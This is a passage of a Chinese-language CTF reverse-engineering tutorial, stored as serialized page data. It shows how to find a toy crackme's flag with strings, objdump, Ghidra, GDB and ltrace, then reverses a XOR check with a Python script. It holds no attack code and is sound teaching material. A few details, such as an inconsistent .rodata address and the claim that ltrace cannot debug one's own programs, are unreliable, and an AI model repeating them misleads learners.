调试",{"type":7,"value":1177,"toc":2461},[1178,1182,1185,1188,1236,1239,1241,1244,1268,1275,1279,1284,1289,1293,1296,1308,1311,1317,1328,1333,1337,1339,1350,1352,1358,1368,1385,1388,1393,1416,1420,1432,1437,1449,1454,1459,1463,1468,1485,1489,1491,1512,1515,1553,1556,1613,1616,1670,1677,1698,1702,1735,1738,1758,1765,1781,1785,1805,1807,1813,1823,1836,1840,1843,1906,1909,1932,1935,1962,1965,1969,1972,1977,1986,1998,2001,2005,2015,2017,2023,2027,2036,2038,2044,2047,2051,2060,2063,2067,2076,2082,2091,2094,2118,2125,2138,2141,2147,2150,2156,2158,2237,2246,2250,2256,2260,2265,2278,2294,2300,2304,2309,2318,2324,2333,2337,2342,2351,2416,2418,2424,2428,2441,2445,2447,2458],[10,1179,1181],{"id":1180},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1183,1184],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1186,1187],{},"目标程序示例：",[28,1189,1191],{"className":30,"code":1190,"language":32,"meta":33,"style":33},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[19,1192,1193,1201,1222,1231],{"__ignoreMap":33},[37,1194,1195,1198],{"class":39,"line":40},[37,1196,1197],{"class":43},"$",[37,1199,1200],{"class":47}," ./checkflag\n",[37,1202,1203,1206,1209,1212,1215,1219],{"class":39,"line":60},[37,1204,1205],{"class":43},"Usage:",[37,1207,1208],{"class":47}," ./checkflag",[37,1210,1211],{"class":1071}," \u003C",[37,1213,1214],{"class":47},"fla",[37,1216,1218],{"class":1217},"sCdxs","g",[37,1220,1221],{"class":1071},">\n",[37,1223,1224,1226,1228],{"class":39,"line":71},[37,1225,1197],{"class":43},[37,1227,1208],{"class":47},[37,1229,1230],{"class":47}," test\n",[37,1232,1233],{"class":39,"line":136},[37,1234,1235],{"class":43},"Wrong!\n",[15,1237,1238],{},"解题目标：通过分析二进制，找出正确输入。",[10,1240,26],{"id":25},[15,1242,1243],{},"在 Linux（Kali/Ubuntu）上：",[28,1245,1247],{"className":30,"code":1246,"language":32,"meta":33,"style":33},"apt install file binutils gdb ltrace strace\n",[19,1248,1249],{"__ignoreMap":33},[37,1250,1251,1253,1255,1257,1259,1262,1265],{"class":39,"line":40},[37,1252,44],{"class":43},[37,1254,48],{"class":47},[37,1256,51],{"class":47},[37,1258,54],{"class":47},[37,1260,1261],{"class":47}," gdb",[37,1263,1264],{"class":47}," ltrace",[37,1266,1267],{"class":47}," strace\n",[15,1269,1270,1271,1274],{},"本文以编译后的 ",[19,1272,1273],{},"checkflag"," 为例，逐步演示。",[10,1276,1278],{"id":1277},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1280,1281,1283],{},[107,1282,109],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1285,1286,1288],{},[107,1287,336],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[85,1290,1292],{"id":1291},"_31-file看文件类型","3.1 file：看文件类型",[15,1294,1295],{},"输入：",[28,1297,1299],{"className":30,"code":1298,"language":32,"meta":33,"style":33},"file checkflag\n",[19,1300,1301],{"__ignoreMap":33},[37,1302,1303,1305],{"class":39,"line":40},[37,1304,969],{"class":43},[37,1306,1307],{"class":47}," checkflag\n",[15,1309,1310],{},"预期输出：",[28,1312,1315],{"className":1313,"code":1314,"language":97,"meta":33},[95],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[19,1316,1314],{"__ignoreMap":33},[15,1318,1319,1320,1323,1324,1327],{},"重点看最后：",[19,1321,1322],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[19,1325,1326],{},"stripped","，函数名被删，难度更高。",[15,1329,1330,1332],{},[107,1331,109],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[85,1334,1336],{"id":1335},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1338,1295],{},[28,1340,1342],{"className":30,"code":1341,"language":32,"meta":33,"style":33},"strings checkflag\n",[19,1343,1344],{"__ignoreMap":33},[37,1345,1346,1348],{"class":39,"line":40},[37,1347,1066],{"class":43},[37,1349,1307],{"class":47},[15,1351,1310],{},[28,1353,1356],{"className":1354,"code":1355,"language":97,"meta":33},[95],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[19,1357,1355],{"__ignoreMap":33},[15,1359,1360,1361,1363,1364,1367],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[19,1362,1066],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[19,1365,1366],{},"-n"," 指定：",[28,1369,1371],{"className":30,"code":1370,"language":32,"meta":33,"style":33},"strings -n 3 checkflag\n",[19,1372,1373],{"__ignoreMap":33},[37,1374,1375,1377,1380,1383],{"class":39,"line":40},[37,1376,1066],{"class":43},[37,1378,1379],{"class":479}," -n",[37,1381,1382],{"class":479}," 3",[37,1384,1307],{"class":47},[15,1386,1387],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1389,1390,1392],{},[107,1391,109],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1394,1395,1397,1398,991,1401,991,1404,1407,1408,1411,1412,1415],{},[107,1396,336],{},"：输出里的 ",[19,1399,1400],{},"Usage: ./checkflag \u003Cflag>",[19,1402,1403],{},"Correct!",[19,1405,1406],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[19,1409,1410],{},"k3y","），先用 ",[19,1413,1414],{},"-n 3"," 确认——可能正是加密密钥。",[85,1417,1419],{"id":1418},"_33-运行程序观察行为","3.3 运行程序观察行为",[28,1421,1423],{"className":30,"code":1422,"language":32,"meta":33,"style":33},"./checkflag test\n",[19,1424,1425],{"__ignoreMap":33},[37,1426,1427,1430],{"class":39,"line":40},[37,1428,1429],{"class":43},"./checkflag",[37,1431,1230],{"class":47},[15,1433,1434,1435,490],{},"输出：",[19,1436,1406],{},[28,1438,1440],{"className":30,"code":1439,"language":32,"meta":33,"style":33},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[19,1441,1442],{"__ignoreMap":33},[37,1443,1444,1446],{"class":39,"line":40},[37,1445,1429],{"class":43},[37,1447,1448],{"class":47}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1450,1434,1451,1453],{},[19,1452,1406],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1455,1456,1458],{},[107,1457,109],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1460,1462],{"id":1461},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1464,1465,1467],{},[107,1466,109],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1469,1470,1472,1473,1476,1477,1480,1481,1484],{},[107,1471,336],{},"：程序要么比较字符串（",[19,1474,1475],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[19,1478,1479],{},"call","（函数调用）和 ",[19,1482,1483],{},"je/jne","（条件跳转）就能定位判断点。",[85,1486,1488],{"id":1487},"_41-objdump-看-main","4.1 objdump 看 main",[15,1490,1295],{},[28,1492,1494],{"className":30,"code":1493,"language":32,"meta":33,"style":33},"objdump -d -M intel checkflag\n",[19,1495,1496],{"__ignoreMap":33},[37,1497,1498,1501,1504,1507,1510],{"class":39,"line":40},[37,1499,1500],{"class":43},"objdump",[37,1502,1503],{"class":479}," -d",[37,1505,1506],{"class":479}," -M",[37,1508,1509],{"class":47}," intel",[37,1511,1307],{"class":47},[15,1513,1514],{},"输出很长，用 grep 只看 main：",[28,1516,1518],{"className":30,"code":1517,"language":32,"meta":33,"style":33},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[19,1519,1520],{"__ignoreMap":33},[37,1521,1522,1524,1526,1528,1530,1533,1535,1537,1540,1543,1547,1550],{"class":39,"line":40},[37,1523,1500],{"class":43},[37,1525,1503],{"class":479},[37,1527,1506],{"class":479},[37,1529,1509],{"class":47},[37,1531,1532],{"class":47}," checkflag",[37,1534,1072],{"class":1071},[37,1536,1075],{"class":43},[37,1538,1539],{"class":479}," -A",[37,1541,1542],{"class":479}," 40",[37,1544,1546],{"class":1545},"seVfx"," '",[37,1548,1549],{"class":47},"\u003Cmain>",[37,1551,1552],{"class":1545},"'\n",[15,1554,1555],{},"预期输出（节选）：",[28,1557,1561],{"className":1558,"code":1559,"language":1560,"meta":33,"style":33},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[19,1562,1563,1568,1573,1578,1583,1588,1593,1598,1603,1608],{"__ignoreMap":33},[37,1564,1565],{"class":39,"line":40},[37,1566,1567],{},"0000000000001189 \u003Cmain>:\n",[37,1569,1570],{"class":39,"line":60},[37,1571,1572],{},"    1189:  push   rbp\n",[37,1574,1575],{"class":39,"line":71},[37,1576,1577],{},"    118a:  mov    rbp, rsp\n",[37,1579,1580],{"class":39,"line":136},[37,1581,1582],{},"    1191:  cmp    edi, 0x2\n",[37,1584,1585],{"class":39,"line":142},[37,1586,1587],{},"    1194:  jne    0x11a0\n",[37,1589,1590],{"class":39,"line":148},[37,1591,1592],{},"    119e:  call   0x1149 \u003Ccheck>\n",[37,1594,1595],{"class":39,"line":154},[37,1596,1597],{},"    11a3:  test   eax, eax\n",[37,1599,1600],{"class":39,"line":159},[37,1601,1602],{},"    11a5:  je     0x11b5\n",[37,1604,1605],{"class":39,"line":165},[37,1606,1607],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[37,1609,1610],{"class":39,"line":171},[37,1611,1612],{},"    11ae:  call   puts@plt\n",[15,1614,1615],{},"逐行解释：",[943,1617,1618,1628],{},[946,1619,1620],{},[949,1621,1622,1625],{},[952,1623,1624],{},"指令",[952,1626,1627],{},"含义",[962,1629,1630,1640,1650,1660],{},[949,1631,1632,1637],{},[967,1633,1634],{},[19,1635,1636],{},"cmp edi, 0x2",[967,1638,1639],{},"比较参数个数 argc 是否为 2",[949,1641,1642,1647],{},[967,1643,1644],{},[19,1645,1646],{},"call check",[967,1648,1649],{},"调用校验函数 check",[949,1651,1652,1657],{},[967,1653,1654],{},[19,1655,1656],{},"test eax, eax",[967,1658,1659],{},"检查返回值是否为 0",[949,1661,1662,1667],{},[967,1663,1664],{},[19,1665,1666],{},"je 0x11b5",[967,1668,1669],{},"为 0 则跳到打印 Wrong 的地方",[15,1671,1672,1673,1676],{},"结论：逻辑在 ",[19,1674,1675],{},"check"," 函数里。",[15,1678,1679,1682,1683,1685,1686,1688,1689,1692,1693,1695,1696,490],{},[107,1680,1681],{},"怎么想到看 check","：",[19,1684,1646],{}," 之后紧跟 ",[19,1687,1656],{}," 和 ",[19,1690,1691],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[19,1694,1675],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[19,1697,1675],{},[85,1699,1701],{"id":1700},"_42-看-check","4.2 看 check",[28,1703,1705],{"className":30,"code":1704,"language":32,"meta":33,"style":33},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[19,1706,1707],{"__ignoreMap":33},[37,1708,1709,1711,1713,1715,1717,1719,1721,1723,1725,1728,1730,1733],{"class":39,"line":40},[37,1710,1500],{"class":43},[37,1712,1503],{"class":479},[37,1714,1506],{"class":479},[37,1716,1509],{"class":47},[37,1718,1532],{"class":47},[37,1720,1072],{"class":1071},[37,1722,1075],{"class":43},[37,1724,1539],{"class":479},[37,1726,1727],{"class":479}," 50",[37,1729,1546],{"class":1545},[37,1731,1732],{"class":47},"\u003Ccheck>",[37,1734,1552],{"class":1545},[15,1736,1737],{},"如果看到：",[28,1739,1741],{"className":1558,"code":1740,"language":1560,"meta":33,"style":33},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[19,1742,1743,1748,1753],{"__ignoreMap":33},[37,1744,1745],{"class":39,"line":40},[37,1746,1747],{},"call   strcmp@plt\n",[37,1749,1750],{"class":39,"line":60},[37,1751,1752],{},"test   eax, eax\n",[37,1754,1755],{"class":39,"line":71},[37,1756,1757],{},"je     ...\n",[15,1759,1760,1761,1764],{},"说明是字符串比较，flag 就藏在 ",[19,1762,1763],{},".rodata"," 里。",[15,1766,1767,1682,1770,1773,1774,1777,1778,1780],{},[107,1768,1769],{},"验证方式",[19,1771,1772],{},"call strcmp@plt"," 前面通常有一条 ",[19,1775,1776],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[19,1779,1763],{}," 里找内容即可。",[85,1782,1784],{"id":1783},"_43-看只读数据段","4.3 看只读数据段",[28,1786,1788],{"className":30,"code":1787,"language":32,"meta":33,"style":33},"objdump -s -j .rodata checkflag\n",[19,1789,1790],{"__ignoreMap":33},[37,1791,1792,1794,1797,1800,1803],{"class":39,"line":40},[37,1793,1500],{"class":43},[37,1795,1796],{"class":479}," -s",[37,1798,1799],{"class":479}," -j",[37,1801,1802],{"class":47}," .rodata",[37,1804,1307],{"class":47},[15,1806,1310],{},[28,1808,1811],{"className":1809,"code":1810,"language":97,"meta":33},[95],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[19,1812,1810],{"__ignoreMap":33},[15,1814,1815,1816,1819,1820,490],{},"ASCII 十六进制 ",[19,1817,1818],{},"63 6f 6e 67..."," 解出来就是 ",[19,1821,1822],{},"congratulations",[15,1824,1825,1828,1829,1831,1832,1835],{},[107,1826,1827],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[19,1830,1763],{},"，",[19,1833,1834],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[85,1837,1839],{"id":1838},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1841,1842],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[28,1844,1846],{"className":30,"code":1845,"language":32,"meta":33,"style":33},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[19,1847,1848,1860,1875,1887],{"__ignoreMap":33},[37,1849,1850,1852,1854,1857],{"class":39,"line":40},[37,1851,44],{"class":43},[37,1853,48],{"class":47},[37,1855,1856],{"class":47}," openjdk-21-jdk",[37,1858,1859],{"class":47}," unzip\n",[37,1861,1862,1865,1868,1872],{"class":39,"line":60},[37,1863,1864],{"class":43},"wget",[37,1866,1867],{"class":47}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[37,1869,1871],{"class":1870},"sqerP","*",[37,1873,1874],{"class":47},".zip\n",[37,1876,1877,1880,1883,1885],{"class":39,"line":71},[37,1878,1879],{"class":43},"unzip",[37,1881,1882],{"class":47}," ghidra_",[37,1884,1871],{"class":1870},[37,1886,1874],{"class":47},[37,1888,1889,1893,1895,1897,1900,1903],{"class":39,"line":136},[37,1890,1892],{"class":1891},"sLL85","cd",[37,1894,1882],{"class":47},[37,1896,1871],{"class":1870},[37,1898,1899],{"class":47},"_PUBLIC",[37,1901,1902],{"class":1217}," && ",[37,1904,1905],{"class":43},"./ghidraRun\n",[15,1907,1908],{},"操作步骤：",[1910,1911,1912,1916,1922,1925],"ol",{},[1913,1914,1915],"li",{},"File → New Project → 命名。",[1913,1917,1918,1919,1921],{},"把 ",[19,1920,1273],{}," 拖进项目，双击导入。",[1913,1923,1924],{},"等待自动分析完成。",[1913,1926,1927,1928,1931],{},"左侧 Symbol Tree 双击 ",[19,1929,1930],{},"main","，右侧 Decompiler 显示伪代码。",[15,1933,1934],{},"预期伪代码：",[28,1936,1940],{"className":1937,"code":1938,"language":1939,"meta":33,"style":33},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n","c",[19,1941,1942,1947,1952,1957],{"__ignoreMap":33},[37,1943,1944],{"class":39,"line":40},[37,1945,1946],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[37,1948,1949],{"class":39,"line":60},[37,1950,1951],{},"    puts(\"Correct!\");\n",[37,1953,1954],{"class":39,"line":71},[37,1955,1956],{},"else\n",[37,1958,1959],{"class":39,"line":136},[37,1960,1961],{},"    puts(\"Wrong!\");\n",[15,1963,1964],{},"flag 直接可见。",[10,1966,1968],{"id":1967},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,1970,1971],{},"静态分析看不懂时，让程序跑起来。",[15,1973,1974,1976],{},[107,1975,109],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,1978,1979,1981,1982,1985],{},[107,1980,336],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[19,1983,1984],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[28,1987,1989],{"className":30,"code":1988,"language":32,"meta":33,"style":33},"gdb ./checkflag\n",[19,1990,1991],{"__ignoreMap":33},[37,1992,1993,1996],{"class":39,"line":40},[37,1994,1995],{"class":43},"gdb",[37,1997,1200],{"class":47},[15,1999,2000],{},"进入 GDB 交互后：",[85,2002,2004],{"id":2003},"_51-下断点","5.1 下断点",[28,2006,2009],{"className":2007,"code":2008,"language":1995,"meta":33,"style":33},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[19,2010,2011],{"__ignoreMap":33},[37,2012,2013],{"class":39,"line":40},[37,2014,2008],{},[15,2016,1310],{},[28,2018,2021],{"className":2019,"code":2020,"language":97,"meta":33},[95],"Breakpoint 1 at 0x1149\n",[19,2022,2020],{"__ignoreMap":33},[85,2024,2026],{"id":2025},"_52-带参数运行","5.2 带参数运行",[28,2028,2030],{"className":2007,"code":2029,"language":1995,"meta":33,"style":33},"(gdb) run test\n",[19,2031,2032],{"__ignoreMap":33},[37,2033,2034],{"class":39,"line":40},[37,2035,2029],{},[15,2037,1310],{},[28,2039,2042],{"className":2040,"code":2041,"language":97,"meta":33},[95],"Breakpoint 1, 0x0000555555555149 in check ()\n",[19,2043,2041],{"__ignoreMap":33},[15,2045,2046],{},"程序停在 check 入口。",[85,2048,2050],{"id":2049},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[28,2052,2054],{"className":2007,"code":2053,"language":1995,"meta":33,"style":33},"(gdb) x/20i $rip\n",[19,2055,2056],{"__ignoreMap":33},[37,2057,2058],{"class":39,"line":40},[37,2059,2053],{},[15,2061,2062],{},"输出 check 函数开头的 20 条汇编。",[85,2064,2066],{"id":2065},"_54-单步并观察比较","5.4 单步并观察比较",[28,2068,2070],{"className":2007,"code":2069,"language":1995,"meta":33,"style":33},"(gdb) stepi\n",[19,2071,2072],{"__ignoreMap":33},[37,2073,2074],{"class":39,"line":40},[37,2075,2069],{},[15,2077,2078,2079,2081],{},"反复执行直到看到 ",[19,2080,1772],{},"。然后：",[28,2083,2085],{"className":2007,"code":2084,"language":1995,"meta":33,"style":33},"(gdb) x/s $rsi\n",[19,2086,2087],{"__ignoreMap":33},[37,2088,2089],{"class":39,"line":40},[37,2090,2084],{},[15,2092,2093],{},"预期输出：程序正在比较的字符串，即 flag。",[15,2095,2096,1682,2099,2102,2103,2106,2107,2110,2111,2102,2114,2117],{},[107,2097,2098],{},"补充说明",[19,2100,2101],{},"x/s"," 的 ",[19,2104,2105],{},"s"," 表示按字符串显示；",[19,2108,2109],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[19,2112,2113],{},"strcmp(a, b)",[19,2115,2116],{},"b"," 就存在这里。",[15,2119,2120,2121,2124],{},"补充：如果嫌 GDB 麻烦，",[19,2122,2123],{},"ltrace"," 直接跟踪库调用：",[28,2126,2128],{"className":30,"code":2127,"language":32,"meta":33,"style":33},"ltrace ./checkflag test\n",[19,2129,2130],{"__ignoreMap":33},[37,2131,2132,2134,2136],{"class":39,"line":40},[37,2133,2123],{"class":43},[37,2135,1208],{"class":47},[37,2137,1230],{"class":47},[15,2139,2140],{},"预期输出中会出现：",[28,2142,2145],{"className":2143,"code":2144,"language":97,"meta":33},[95],"strcmp(\"test\", \"congratulations\") = 1\n",[19,2146,2144],{"__ignoreMap":33},[15,2148,2149],{},"flag 一目了然。",[15,2151,2152,2155],{},[107,2153,2154],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2157,941],{"id":940},[943,2159,2160,2171],{},[946,2161,2162],{},[949,2163,2164,2166,2168],{},[952,2165,954],{},[952,2167,957],{},[952,2169,2170],{},"命令示例",[962,2172,2173,2185,2203,2218],{},[949,2174,2175,2177,2180],{},[967,2176,969],{},[967,2178,2179],{},"看类型、位数、是否 stripped",[967,2181,2182],{},[19,2183,2184],{},"file checkflag",[949,2186,2187,2189,2192],{},[967,2188,1066],{},[967,2190,2191],{},"提取字符串、指定最小长度、管道过滤",[967,2193,2194,991,2197,991,2200],{},[19,2195,2196],{},"strings checkflag",[19,2198,2199],{},"strings -n 3 a",[19,2201,2202],{},"strings a | grep flag",[949,2204,2205,2207,2210],{},[967,2206,1500],{},[967,2208,2209],{},"反汇编、看数据段、Intel 语法",[967,2211,2212,991,2215],{},[19,2213,2214],{},"objdump -d -M intel a",[19,2216,2217],{},"objdump -s -j .rodata a",[949,2219,2220,2223,2226],{},[967,2221,2222],{},"GDB",[967,2224,2225],{},"断点、运行、看内存/寄存器",[967,2227,2228,991,2231,991,2234],{},[19,2229,2230],{},"break check",[19,2232,2233],{},"run",[19,2235,2236],{},"x/20i $rip",[15,2238,2239,2240,1139,2242,2245],{},"另：Ghidra 负责把汇编还原成伪代码；",[19,2241,2123],{},[19,2243,2244],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2247,2249],{"id":2248},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2251,1039,2252,2255],{},[19,2253,2254],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[85,2257,2259],{"id":2258},"第一步侦查","第一步：侦查",[15,2261,2262,2264],{},[107,2263,109],{},"：先找密钥与提示。",[15,2266,2267,1682,2269,2271,2272,2274,2275,2277],{},[107,2268,336],{},[19,2270,1066],{}," 默认漏掉短串，所以用 ",[19,2273,1414],{},"；看到 ",[19,2276,1410],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[28,2279,2281],{"className":30,"code":2280,"language":32,"meta":33,"style":33},"strings -n 3 crackme\n",[19,2282,2283],{"__ignoreMap":33},[37,2284,2285,2287,2289,2291],{"class":39,"line":40},[37,2286,1066],{"class":43},[37,2288,1379],{"class":479},[37,2290,1382],{"class":479},[37,2292,2293],{"class":47}," crackme\n",[15,2295,2296,2297,2299],{},"预期输出中有 ",[19,2298,1410],{},"——疑似密钥。",[85,2301,2303],{"id":2302},"第二步反编译-check","第二步：反编译 check",[15,2305,2306,2308],{},[107,2307,109],{},"：确认密钥如何使用、密文数组是什么。",[15,2310,2311,2313,2314,2317],{},[107,2312,1769],{},"：伪代码 ",[19,2315,2316],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2319,2320,2321,2323],{},"用 Ghidra 打开，",[19,2322,1675],{}," 伪代码：",[28,2325,2327],{"className":1937,"code":2326,"language":1939,"meta":33,"style":33},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[19,2328,2329],{"__ignoreMap":33},[37,2330,2331],{"class":39,"line":40},[37,2332,2326],{},[85,2334,2336],{"id":2335},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2338,2339,2341],{},[107,2340,109],{},"：把\"加密\"反过来算，得到明文。",[15,2343,2344,2346,2347,2350],{},[107,2345,336],{},"：异或的自反性 ",[19,2348,2349],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[28,2352,2354],{"className":113,"code":2353,"language":115,"meta":33,"style":33},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[19,2355,2356,2361,2366,2371,2376,2381,2386,2391,2396,2401,2406,2411],{"__ignoreMap":33},[37,2357,2358],{"class":39,"line":40},[37,2359,2360],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[37,2362,2363],{"class":39,"line":60},[37,2364,2365],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[37,2367,2368],{"class":39,"line":71},[37,2369,2370],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[37,2372,2373],{"class":39,"line":136},[37,2374,2375],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[37,2377,2378],{"class":39,"line":142},[37,2379,2380],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[37,2382,2383],{"class":39,"line":148},[37,2384,2385],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[37,2387,2388],{"class":39,"line":154},[37,2389,2390],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[37,2392,2393],{"class":39,"line":159},[37,2394,2395],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[37,2397,2398],{"class":39,"line":165},[37,2399,2400],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[37,2402,2403],{"class":39,"line":171},[37,2404,2405],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[37,2407,2408],{"class":39,"line":177},[37,2409,2410],{},"print(flag.decode())\n",[37,2412,2413],{"class":39,"line":183},[37,2414,2415],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2417,1434],{},[28,2419,2422],{"className":2420,"code":2421,"language":97,"meta":33},[95],"ctf{reverse_engineering}\n",[19,2423,2421],{"__ignoreMap":33},[85,2425,2427],{"id":2426},"第四步验证","第四步：验证",[28,2429,2431],{"className":30,"code":2430,"language":32,"meta":33,"style":33},"./crackme ctf{reverse_engineering}\n",[19,2432,2433],{"__ignoreMap":33},[37,2434,2435,2438],{"class":39,"line":40},[37,2436,2437],{"class":43},"./crackme",[37,2439,2440],{"class":47}," ctf{reverse_engineering}\n",[15,2442,1434,2443,490],{},[19,2444,1403],{},[10,2446,1130],{"id":1129},[15,2448,2449,2450,1139,2452,2454,2455,2457],{},"逆向入门三步：",[19,2451,969],{},[19,2453,1066],{}," 侦查 → ",[19,2456,1500],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1144,2459,2460],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki 